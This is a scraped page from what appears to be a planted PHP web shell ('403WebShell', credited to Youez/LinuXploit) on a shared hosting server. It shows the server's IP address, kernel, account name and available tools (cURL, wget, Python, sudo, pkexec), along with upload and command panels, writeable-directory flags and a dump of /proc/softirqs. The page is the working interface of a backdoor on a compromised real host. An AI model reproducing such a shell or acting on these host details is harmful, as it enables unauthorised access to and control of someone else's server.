Uname:Linux gator4272.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64

403WebShell
403Webshell
Server IP : 162.241.144.16  /  Your IP : 216.73.217.62
Web Server : Apache
System : Linux gator4272.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : roskiny21 ( 1131)
PHP Version : 8.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/softirqs
                    CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      CPU12      CPU13      CPU14      CPU15      CPU16      CPU17      CPU18      CPU19      CPU20      CPU21      CPU22      CPU23      
          HI:          4          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
       TIMER:  638398839 1511553902 1699774777 1753505385 1634170451 1514934073 1431419866 1281355019 1167812794 1048685268  875017055  892120975  838174382 1562258115  887982025  784972776  738319165  613236549  582144571  452916171  384886364  342665849  161764419  352410231
      NET_TX:   32241062   27594634   24354810   22332708   21118795   20299804   19787682   19430290   19197523   19013109   18835949   18798341   18780323 1658217231   18538540   18585131   18551494   18591188   18627857   18586992   18617309   18598479   18627677   18497371
      NET_RX: 1531478642 1553452838 1554364208 1558366766 1554593391 1549168643 1553699079 1549254017 1552766177 1552553178 1549242994 1549975952 1551226006  443401715 1551729815 1548444684 1550598746 1544643255 1545928769 1541465983 1541673371 1540423469 1535684680 1524750371
       BLOCK:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
    IRQ_POLL:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
     TASKLET:    4755143    4577075    4463508    4375045    4333469    4303385    4271756    4254822    4257965    4240296    4228408    4219603    4229728   36354316    4198966    4207708    4208495    4214616    4217579    4223304    4218011    4220302    4228133    4234051
       SCHED:  461692620 1890549233  639934607   28532155 4000380045 3819384616 3712320399 3643616540 3599442680 3568632458 3542638238 3531243378 3518849389 4028869952 3513776951 3503621718 3496738780 3489548081 3484669819 3476689701 3472933611 3469608810 3461111666 3452020471
     HRTIMER:       2697       2663       2950       2856       2769       2699       2852       2825       2941       2768       2632       2753       2699   28274461       2825       2952       2734       2430       2606       2790       2713       2619       2847       2536
         RCU: 3845525388  300819599   60819330   68227081    5480541 4222178383 4189931870 4195350009 4062126892 4010722119 1857372202 3932230709 3989509468 3318442646 3967213754 3907625117 3861026619 3808007591 3773334424 3713223184 3681185685 3657056085 3565892747 3985089144

Youez - 2016 - github.com/yon3zu
LinuXploit